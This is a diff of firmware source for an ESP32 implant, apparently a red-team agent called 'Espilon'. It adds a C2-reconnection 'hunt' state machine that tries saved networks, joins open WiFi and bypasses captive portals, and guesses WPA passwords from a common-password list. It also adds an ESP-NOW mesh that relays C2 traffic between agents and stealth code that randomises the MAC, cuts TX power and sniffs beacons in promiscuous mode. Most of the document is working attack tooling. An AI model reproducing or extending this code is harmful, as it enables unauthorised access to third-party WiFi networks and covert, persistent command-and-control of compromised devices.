set_state(RT_TRYING_KNOWN);
/* Try original WiFi config first (the one we were connected to) */
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
(char *)s_orig_wifi_config.sta.ssid);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
(char *)s_orig_wifi_config.sta.password,
RT_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
return true;
}
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
}
}
/* Then try NVS known networks */
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
if (net_count == 0) {
ESP_LOGI(TAG, "No additional known networks in NVS");
return false;
}
/* Try each known network that was found in scan */
for (int n = 0; n < net_count; n++) {
/* Check if this SSID was in the scan results */
bool found_in_scan = false;
for (int c = 0; c < s_candidate_count; c++) {
if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) {
found_in_scan = true;
break;
}
}
if (!found_in_scan) {
/* Still try — might be hidden or missed by scan */
}
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected(nets[n].ssid, "known");
return true;
}
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
}
}
return false;
}
/* ============================================================
* Strategy 2: Try open WiFi networks
* ============================================================ */
static bool try_open_networks(void)
{
set_state(RT_TRYING_OPEN);
for (int i = 0; i < s_candidate_count; i++) {
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue; /* hidden */
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) {
/* Check for captive portal */
set_state(RT_PORTAL_CHECK);
rt_portal_status_t portal = rt_captive_detect();
if (portal == RT_PORTAL_NONE) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
} else if (portal == RT_PORTAL_DETECTED) {
set_state(RT_PORTAL_BYPASS);
if (rt_captive_bypass()) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open+portal");
return true;
}
}
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
s_candidates[i].ssid);
} else {
/* RT_PORTAL_UNKNOWN — try C2 directly anyway */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
}
}
}
return false;
}
/* ============================================================
* Strategy 3: Try WPA with common passwords
* ============================================================ */
static bool try_wpa_common(void)
{
set_state(RT_TRYING_WPA);
for (int i = 0; i < s_candidate_count; i++) {
/* Only WPA/WPA2, strong signal */
if (s_candidates[i].authmode == WIFI_AUTH_OPEN ||
s_candidates[i].authmode == WIFI_AUTH_WEP)
continue;
if (s_candidates[i].rssi < RT_WPA_MIN_RSSI)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue;
ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
int tries = 0;
for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) {
tries++;
#ifdef CONFIG_RT_STEALTH
rt_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid,
common_passwords[p],
RT_WIFI_TIMEOUT_MS)) {
/* Connected! Verify C2 */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "wpa");
return true;
}
/* Connected to WiFi but C2 unreachable — still good find,
but continue looking for one with C2 access */
ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2",
s_candidates[i].ssid, common_passwords[p]);
break; /* Don't try more passwords on this SSID */
}
}
}
return false;
}
/* ============================================================
* Hunt task main state machine
* ============================================================ */
extern atomic_bool fb_active; /* defined in WiFi.c */
extern void wifi_pause_reconnect(void);
extern void wifi_resume_reconnect(void);
extern SemaphoreHandle_t sock_mutex;
static void hunt_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Hunt task started");
/* Save original WiFi config */
if (!s_orig_config_saved) {
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
s_orig_config_saved = true;
}
/* Let the command response (msg_info "Hunt started") flush over TCP
* before we disconnect WiFi. Without this delay the response is lost. */
vTaskDelay(pdMS_TO_TICKS(500));
/* Take control of WiFi from normal reconnect logic */
fb_active = true;
wifi_pause_reconnect();
/* Register our event handler */
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&rt_wifi_event_handler, NULL);
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&rt_wifi_event_handler, NULL);
while (s_active) {
/* ---- STEALTH PREP ---- */
#ifdef CONFIG_RT_STEALTH
set_state(RT_STEALTH_PREP);
rt_stealth_randomize_mac();
rt_stealth_low_tx_power();
vTaskDelay(pdMS_TO_TICKS(100));
#endif
/* ---- SCAN ---- */
set_state(RT_PASSIVE_SCAN);
do_wifi_scan();
/* ---- MESH PROBE ---- */
#ifdef CONFIG_RT_MESH
set_state(RT_MESH_PROBE);
rt_mesh_probe();
vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */
rt_mesh_peer_t peer;
if (rt_mesh_get_relay(&peer) && peer.available) {
set_state(RT_MESH_RELAY);
msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL);
mark_connected("ESP-NOW", "mesh");
/* Stay in mesh relay mode until stopped or wifi found */
while (s_active && rt_mesh_is_running()) {
vTaskDelay(pdMS_TO_TICKS(5000));
}
if (!s_active) break;
}
#endif
/* ---- STRATEGY 1: Known networks ---- */
if (s_active && try_known_networks()) break;
/* ---- STRATEGY 2: Open networks ---- */
if (s_active && try_open_networks()) break;
/* ---- STRATEGY 3: WPA common passwords ---- */
if (s_active && try_wpa_common()) break;
/* ---- STRATEGY 4: GPRS ---- */
#ifdef CONFIG_RT_GPRS_FALLBACK
set_state(RT_GPRS);
ESP_LOGW(TAG, "GPRS fallback — not yet implemented");
#endif
/* ---- All strategies failed — wait and rescan ---- */
if (!s_active) break;
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
RT_RESCAN_DELAY_S);
set_state(RT_IDLE);
for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
}
/* ---- Cleanup ---- */
/* Unregister our handler */
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
&rt_wifi_event_handler);
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&rt_wifi_event_handler);
if (s_state == RT_CONNECTED) {
/* We found a connection — let the normal tcp_client_task take over.
* It will use whatever WiFi we're connected to. */
#ifdef CONFIG_RT_STEALTH
rt_stealth_restore_tx_power();
#endif
fb_active = false;
wifi_resume_reconnect();
ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task");
} else {
/* Restore original WiFi config */
#ifdef CONFIG_RT_STEALTH
rt_stealth_restore_mac();
rt_stealth_restore_tx_power();
#endif
if (s_orig_config_saved) {
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
}
fb_active = false;
wifi_resume_reconnect();
/* Reconnect to original WiFi */
esp_wifi_connect();
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
}
s_task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
const char *rt_hunt_state_name(rt_state_t state)
{
if (state <= RT_GPRS)
return state_names[state];
return "unknown";
}
rt_state_t rt_hunt_get_state(void)
{
state_lock();
rt_state_t st = s_state;
state_unlock();
return st;
}
bool rt_hunt_is_active(void)
{
return s_active;
}
const char *rt_hunt_connected_ssid(void)
{
/* Returned pointer is to static buffer — safe to read while mutex
ensures the string is not being partially written. Caller should
copy if it needs to keep the value. */
static char ssid_copy[33];
state_lock();
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
state_unlock();
return ssid_copy;
}
const char *rt_hunt_connected_method(void)
{
static char method_copy[16];
state_lock();
memcpy(method_copy, s_connected_method, sizeof(method_copy));
state_unlock();
return method_copy;
}
void rt_hunt_trigger(void)
{
if (s_active) {
ESP_LOGW(TAG, "Hunt already active");
return;
}
/* Create mutex ONCE before any task uses it — avoids lazy init race */
if (!s_state_mutex) {
s_state_mutex = xSemaphoreCreateMutex();
}
if (!s_evt_group) {
s_evt_group = xEventGroupCreate();
}
s_active = true;
state_lock();
s_state = RT_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
BaseType_t ret = xTaskCreatePinnedToCore(
hunt_task,
"rt_hunt",
RT_HUNT_STACK,
NULL,
RT_HUNT_PRIO,
&s_task_handle,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create hunt task");
s_active = false;
}
}
void rt_hunt_stop(void)
{
if (!s_active) return;
s_active = false; /* Signal task to exit */
/* Wait for task to finish cleanup (max 5s) */
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
state_lock();
s_state = RT_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
ESP_LOGI(TAG, "Hunt stopped");
}
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,61 @@
/*
* rt_hunt.h
* Red Team hunt state machine autonomous network hunting.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* Hunt states
* ============================================================ */
typedef enum {
RT_IDLE,
RT_STEALTH_PREP,
RT_PASSIVE_SCAN,
RT_MESH_PROBE,
RT_MESH_RELAY,
RT_TRYING_KNOWN,
RT_TRYING_OPEN,
RT_TRYING_WPA,
RT_PORTAL_CHECK,
RT_PORTAL_BYPASS,
RT_C2_VERIFY,
RT_CONNECTED,
RT_GPRS,
} rt_state_t;
/* ============================================================
* API
* ============================================================ */
/* Trigger the hunt (start the state machine task if not running).
* Called by C2 command or auto-trigger on TCP failure. */
void rt_hunt_trigger(void);
/* Stop the hunt, restore original WiFi + MAC + TX power. */
void rt_hunt_stop(void);
/* Get current state. */
rt_state_t rt_hunt_get_state(void);
/* Get state name as string. */
const char *rt_hunt_state_name(rt_state_t state);
/* Is the hunt task currently running? */
bool rt_hunt_is_active(void);
/* Get the SSID we connected to (empty if none). */
const char *rt_hunt_connected_ssid(void);
/* Get the method used to connect (e.g. "known", "open", "wpa", "mesh"). */
const char *rt_hunt_connected_method(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,296 @@
/*
* rt_mesh.c
* ESP-NOW mesh relay between Espilon agents.
*
* Protocol:
* Agent A (no internet) ESP-NOW broadcast "ESPNOW_PROBE"
* Agent B (connected) ESP-NOW unicast "ESPNOW_ACK:<device_id>"
* Agent A sends "RELAY:<device_id>:<base64_encrypted_msg>"
* Agent B receives forwards via TCP to C2
* Agent B receives resp "REPLY:<device_id>:<base64_encrypted_resp>"
*
* ESP-NOW works WITHOUT WiFi association pure 802.11 P2P.
*/
#include "sdkconfig.h"
#include "rt_mesh.h"
#include <string.h>
#ifdef CONFIG_MODULE_REDTEAM
#ifdef CONFIG_RT_MESH
#include <stdio.h>
#include "esp_log.h"
#include "esp_now.h"
#include "esp_wifi.h"
#include "lwip/sockets.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "utils.h"
static const char *TAG = "RT_MESH";
#define ESPNOW_PMK "espilon_mesh_pmk" /* 16 bytes primary master key */
#define ESPNOW_CHANNEL 1
#define PROBE_MAGIC "ESPNOW_PROBE"
#define ACK_MAGIC "ESPNOW_ACK:"
#define RELAY_MAGIC "RELAY:"
#define REPLY_MAGIC "REPLY:"
#define PROBE_INTERVAL_MS 5000
#define MAX_PEERS 4
static volatile bool s_running = false;
static volatile bool s_initialized = false;
static TaskHandle_t s_probe_task = NULL;
/* Best relay peer */
static rt_mesh_peer_t s_best_relay = {0};
static SemaphoreHandle_t s_relay_mutex = NULL;
/* ============================================================
* ESP-NOW receive callback
* ============================================================ */
static void espnow_recv_cb(const esp_now_recv_info_t *info,
const uint8_t *data, int len)
{
if (!s_running || !data || len <= 0) return;
/* ACK from a connected agent: "ESPNOW_ACK:<device_id>" */
if (len > (int)strlen(ACK_MAGIC) &&
memcmp(data, ACK_MAGIC, strlen(ACK_MAGIC)) == 0) {
const char *dev_id = (const char *)data + strlen(ACK_MAGIC);
int id_len = len - (int)strlen(ACK_MAGIC);
if (id_len <= 0 || id_len > 15) id_len = (id_len <= 0) ? 0 : 15;
if (id_len == 0) return;
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, 0) == pdTRUE) {
/* Use RSSI to pick the best relay */
int8_t rssi = info->rx_ctrl->rssi;
if (!s_best_relay.available || rssi > s_best_relay.rssi) {
memcpy(s_best_relay.mac, info->src_addr, 6);
memcpy(s_best_relay.device_id, dev_id, id_len);
s_best_relay.device_id[id_len] = '\0';
s_best_relay.rssi = rssi;
s_best_relay.available = true;
ESP_LOGI(TAG, "Relay found: %s (RSSI=%d)", s_best_relay.device_id, rssi);
}
xSemaphoreGive(s_relay_mutex);
}
return;
}
/* PROBE from another agent looking for a relay */
if (len == (int)strlen(PROBE_MAGIC) &&
memcmp(data, PROBE_MAGIC, strlen(PROBE_MAGIC)) == 0) {
/* We answer only if we have internet (sock >= 0) */
extern int sock;
if (sock >= 0) {
/* Send ACK with our device_id */
char ack[64];
int ack_len = snprintf(ack, sizeof(ack), "%s%s", ACK_MAGIC, CONFIG_DEVICE_ID);
/* Add peer if not already added */
esp_now_peer_info_t peer = {0};
memcpy(peer.peer_addr, info->src_addr, 6);
peer.channel = 0; /* current channel */
peer.encrypt = false;
esp_now_add_peer(&peer); /* ignore error if already exists */
esp_now_send(info->src_addr, (uint8_t *)ack, ack_len);
ESP_LOGI(TAG, "Answered PROBE from %02X:%02X:%02X:%02X:%02X:%02X",
info->src_addr[0], info->src_addr[1], info->src_addr[2],
info->src_addr[3], info->src_addr[4], info->src_addr[5]);
}
return;
}
/* RELAY request from another agent: forward to C2 via TCP */
if (len > (int)strlen(RELAY_MAGIC) &&
memcmp(data, RELAY_MAGIC, strlen(RELAY_MAGIC)) == 0) {
extern int sock;
extern SemaphoreHandle_t sock_mutex;
if (sock >= 0 && sock_mutex) {
const uint8_t *payload = data + strlen(RELAY_MAGIC);
int payload_len = len - strlen(RELAY_MAGIC);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int s = sock;
xSemaphoreGive(sock_mutex);
if (s >= 0) {
/* Forward as-is — the payload is already encrypted E2E */
lwip_write(s, payload, payload_len);
lwip_write(s, "\n", 1);
ESP_LOGI(TAG, "Relayed %d bytes to C2", payload_len);
}
}
return;
}
}
/* ============================================================
* ESP-NOW send callback
* ============================================================ */
static void espnow_send_cb(const uint8_t *mac, esp_now_send_status_t status)
{
/* Minimal — just log failures */
if (status != ESP_NOW_SEND_SUCCESS) {
ESP_LOGW(TAG, "ESP-NOW send failed to %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
}
/* ============================================================
* Probe task periodically broadcast to find relays
* ============================================================ */
static void probe_task(void *arg)
{
(void)arg;
/* Broadcast peer */
esp_now_peer_info_t bcast = {0};
memset(bcast.peer_addr, 0xFF, 6);
bcast.channel = 0;
bcast.encrypt = false;
esp_now_add_peer(&bcast);
while (s_running) {
/* Broadcast probe */
esp_now_send(bcast.peer_addr,
(uint8_t *)PROBE_MAGIC,
strlen(PROBE_MAGIC));
vTaskDelay(pdMS_TO_TICKS(PROBE_INTERVAL_MS));
}
s_probe_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool rt_mesh_start(void)
{
if (s_running) return true;
if (!s_relay_mutex) {
s_relay_mutex = xSemaphoreCreateMutex();
}
if (!s_initialized) {
esp_err_t ret = esp_now_init();
if (ret != ESP_OK) {
ESP_LOGE(TAG, "esp_now_init failed: %s", esp_err_to_name(ret));
return false;
}
esp_now_register_recv_cb(espnow_recv_cb);
esp_now_register_send_cb(espnow_send_cb);
s_initialized = true;
}
s_running = true;
memset(&s_best_relay, 0, sizeof(s_best_relay));
xTaskCreatePinnedToCore(probe_task, "rt_mesh", 3072, NULL, 4, &s_probe_task, 0);
ESP_LOGI(TAG, "ESP-NOW mesh relay started");
return true;
}
void rt_mesh_stop(void)
{
s_running = false;
/* Wait for probe task to stop */
for (int i = 0; i < 30 && s_probe_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
if (s_initialized) {
esp_now_deinit();
s_initialized = false;
}
memset(&s_best_relay, 0, sizeof(s_best_relay));
ESP_LOGI(TAG, "ESP-NOW mesh relay stopped");
}
bool rt_mesh_is_running(void)
{
return s_running;
}
bool rt_mesh_send(const uint8_t *data, size_t len)
{
if (!s_running || !s_best_relay.available) return false;
if (len > 240) { /* ESP-NOW max payload = 250, minus RELAY: prefix */
ESP_LOGW(TAG, "Payload too large for ESP-NOW (%d bytes)", (int)len);
return false;
}
/* Build "RELAY:<payload>" */
uint8_t buf[250];
int prefix_len = strlen(RELAY_MAGIC);
memcpy(buf, RELAY_MAGIC, prefix_len);
memcpy(buf + prefix_len, data, len);
esp_err_t ret = esp_now_send(s_best_relay.mac, buf, prefix_len + len);
return (ret == ESP_OK);
}
void rt_mesh_probe(void)
{
if (!s_running) return;
/* Reset best relay */
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, portMAX_DELAY) == pdTRUE) {
memset(&s_best_relay, 0, sizeof(s_best_relay));
xSemaphoreGive(s_relay_mutex);
}
/* Broadcast probe immediately */
uint8_t bcast[6];
memset(bcast, 0xFF, 6);
esp_now_send(bcast, (uint8_t *)PROBE_MAGIC, strlen(PROBE_MAGIC));
}
bool rt_mesh_get_relay(rt_mesh_peer_t *out)
{
if (!out) return false;
if (!s_relay_mutex) {
memset(out, 0, sizeof(*out));
return false;
}
xSemaphoreTake(s_relay_mutex, portMAX_DELAY);
memcpy(out, &s_best_relay, sizeof(rt_mesh_peer_t));
xSemaphoreGive(s_relay_mutex);
return out->available;
}
#else /* !CONFIG_RT_MESH */
bool rt_mesh_start(void) { return false; }
void rt_mesh_stop(void) { }
bool rt_mesh_is_running(void) { return false; }
bool rt_mesh_send(const uint8_t *data, size_t len) { (void)data; (void)len; return false; }
void rt_mesh_probe(void) { }
bool rt_mesh_get_relay(rt_mesh_peer_t *out) {
if (out) { memset(out, 0, sizeof(*out)); out->available = false; }
return false;
}
#endif /* CONFIG_RT_MESH */
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,42 @@
/*
* rt_mesh.h
* ESP-NOW mesh relay between Espilon agents.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Start ESP-NOW mesh (init, register callbacks, start probe/relay). */
bool rt_mesh_start(void);
/* Stop ESP-NOW mesh. */
void rt_mesh_stop(void);
/* Is mesh running? */
bool rt_mesh_is_running(void);
/* Send data via ESP-NOW relay (Agent A → Agent B → C2). */
bool rt_mesh_send(const uint8_t *data, size_t len);
/* Broadcast a probe to find connected agents. */
void rt_mesh_probe(void);
/* Get best relay peer info (device_id, RSSI). Empty if none found. */
typedef struct {
uint8_t mac[6];
char device_id[16];
int8_t rssi;
bool available;
} rt_mesh_peer_t;
bool rt_mesh_get_relay(rt_mesh_peer_t *out);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,272 @@
/*
* rt_stealth.c
* OPSEC: MAC randomization, TX power control, passive scan.
*/
#include "sdkconfig.h"
#include "rt_stealth.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
static const char *TAG = "RT_STEALTH";
/* ============================================================
* MAC randomization
* ============================================================ */
static uint8_t s_orig_mac[6] = {0};
static bool s_mac_saved = false;
void rt_stealth_save_original_mac(void)
{
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
s_mac_saved = true;
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void rt_stealth_randomize_mac(void)
{
uint8_t mac[6];
esp_fill_random(mac, 6);
mac[0] &= 0xFE; /* unicast */
mac[0] |= 0x02; /* locally administered */
/* Must disconnect before changing MAC */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
if (err == ESP_OK) {
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
} else {
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
}
}
void rt_stealth_restore_mac(void)
{
if (s_mac_saved) {
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void rt_stealth_get_current_mac(uint8_t mac[6])
{
esp_wifi_get_mac(WIFI_IF_STA, mac);
}
/* ============================================================
* TX power control
* ============================================================ */
void rt_stealth_low_tx_power(void)
{
/* 8 dBm (arg * 0.25 dBm, so 32 = 8 dBm) */
esp_err_t err = esp_wifi_set_max_tx_power(32);
if (err == ESP_OK) {
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
} else {
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
}
}
void rt_stealth_restore_tx_power(void)
{
esp_wifi_set_max_tx_power(80); /* 20 dBm */
ESP_LOGI(TAG, "TX power restored to 20 dBm");
}
/* ============================================================
* Passive scan promiscuous mode beacon capture
* ============================================================ */
/* WiFi management frame header */
typedef struct {
unsigned frame_ctrl:16;
unsigned duration_id:16;
uint8_t addr1[6]; /* Destination */
uint8_t addr2[6]; /* Source */
uint8_t addr3[6]; /* BSSID */
unsigned seq_ctrl:16;
} __attribute__((packed)) wifi_mgmt_hdr_t;
/* Beacon frame body (partial — just what we need) */
/* Fixed fields: timestamp(8) + beacon_interval(2) + capability(2) = 12 bytes */
#define BEACON_FIXED_LEN 12
/* Tag: SSID = tag_number 0, followed by length, then SSID string */
static rt_scan_ap_t s_scan_results[RT_MAX_SCAN_APS];
static volatile int s_scan_count = 0;
/* Check if we already have this BSSID */
static int find_bssid(const uint8_t bssid[6])
{
for (int i = 0; i < s_scan_count; i++) {
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
return i;
}
return -1;
}
static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
/* Check frame type: beacon = 0x80, probe response = 0x50 */
uint16_t fc = hdr->frame_ctrl;
uint8_t subtype = (fc >> 4) & 0x0F;
if (subtype != 8 && subtype != 5) return; /* 8=beacon, 5=probe_resp */
/* BSSID is addr3 for beacons */
const uint8_t *bssid = hdr->addr3;
/* Skip if already seen */
if (find_bssid(bssid) >= 0) {
/* Update RSSI if stronger */
int idx = find_bssid(bssid);
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
}
return;
}
if (s_scan_count >= RT_MAX_SCAN_APS) return;
/* Parse beacon body for SSID */
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
return;
/* Parse tagged parameters for SSID (tag 0) and RSN/WPA (security) */
const uint8_t *body = pkt->payload + body_offset;
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
/* Remove FCS (4 bytes) if present */
if (body_len > 4) body_len -= 4;
rt_scan_ap_t *ap = &s_scan_results[s_scan_count];
memset(ap, 0, sizeof(*ap));
memcpy(ap->bssid, bssid, 6);
ap->rssi = pkt->rx_ctrl.rssi;
ap->channel = pkt->rx_ctrl.channel;
ap->auth_mode = 0; /* Assume open until we find RSN/WPA tag */
/* Parse IEs (Information Elements) */
size_t pos = 0;
while (pos + 2 <= body_len) {
uint8_t tag_id = body[pos];
uint8_t tag_len = body[pos + 1];
if (pos + 2 + tag_len > body_len) break;
if (tag_id == 0) { /* SSID */
size_t ssid_len = tag_len;
if (ssid_len > 32) ssid_len = 32;
memcpy(ap->ssid, body + pos + 2, ssid_len);
ap->ssid[ssid_len] = '\0';
} else if (tag_id == 48) { /* RSN (WPA2) */
ap->auth_mode = 3; /* WPA2 */
} else if (tag_id == 221) { /* Vendor specific — check for WPA OUI */
if (tag_len >= 4 &&
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
if (ap->auth_mode == 0) ap->auth_mode = 2; /* WPA */
}
}
pos += 2 + tag_len;
}
s_scan_count++;
}
int rt_stealth_passive_scan(int duration_ms)
{
s_scan_count = 0;
memset(s_scan_results, 0, sizeof(s_scan_results));
/* Enable promiscuous mode */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(100));
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
return 0;
}
/* Filter management frames only (beacons, probe responses) */
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
};
esp_wifi_set_promiscuous_filter(&filter);
ret = esp_wifi_set_promiscuous(true);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
return 0;
}
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
/* Channel hop: ~200ms per channel, 13 channels per cycle */
int channels = 13;
int hop_ms = 200;
int elapsed = 0;
while (elapsed < duration_ms) {
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
vTaskDelay(pdMS_TO_TICKS(hop_ms));
elapsed += hop_ms;
}
}
/* Disable promiscuous mode */
esp_wifi_set_promiscuous(false);
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
return s_scan_count;
}
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count)
{
int count = s_scan_count;
if (count > max_count) count = max_count;
memcpy(out, s_scan_results, count * sizeof(rt_scan_ap_t));
return count;
}
#else /* !CONFIG_MODULE_REDTEAM — empty stubs */
#include <string.h>
void rt_stealth_save_original_mac(void) {}
void rt_stealth_randomize_mac(void) {}
void rt_stealth_restore_mac(void) {}
void rt_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
void rt_stealth_low_tx_power(void) {}
void rt_stealth_restore_tx_power(void) {}
int rt_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,54 @@
/*
* rt_stealth.h
* OPSEC: MAC randomization, TX power control, passive scanning.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Save the current STA MAC as original (call once at module init). */
void rt_stealth_save_original_mac(void);
/* Randomize the STA MAC (locally-administered unicast). */
void rt_stealth_randomize_mac(void);
/* Restore the original MAC. */
void rt_stealth_restore_mac(void);
/* Get current STA MAC. */
void rt_stealth_get_current_mac(uint8_t mac[6]);
/* Reduce TX power to stealth level (~8 dBm). */
void rt_stealth_low_tx_power(void);
/* Restore TX power to default (20 dBm). */
void rt_stealth_restore_tx_power(void);
/* Passive scan: channel-hop in promiscuous mode, collect beacons.
* Results stored internally, retrieve with rt_stealth_get_scan_results.
* duration_ms: total scan time (e.g. 3000 for 3s).
* Returns number of unique APs found. */
int rt_stealth_passive_scan(int duration_ms);
/* AP info collected during passive scan */
typedef struct {
uint8_t bssid[6];
char ssid[33];
int8_t rssi;
uint8_t channel;
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
} rt_scan_ap_t;
#define RT_MAX_SCAN_APS 32
/* Get passive scan results. Returns count. */
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count);
#ifdef __cplusplus
}
#endif

View File

@ -2,5 +2,5 @@ idf_component_register(
SRCS
cmd_system.c
INCLUDE_DIRS .
REQUIRES core command esp_timer nvs_flash spi_flash
REQUIRES core esp_timer nvs_flash spi_flash
)

View File

@ -15,7 +15,6 @@
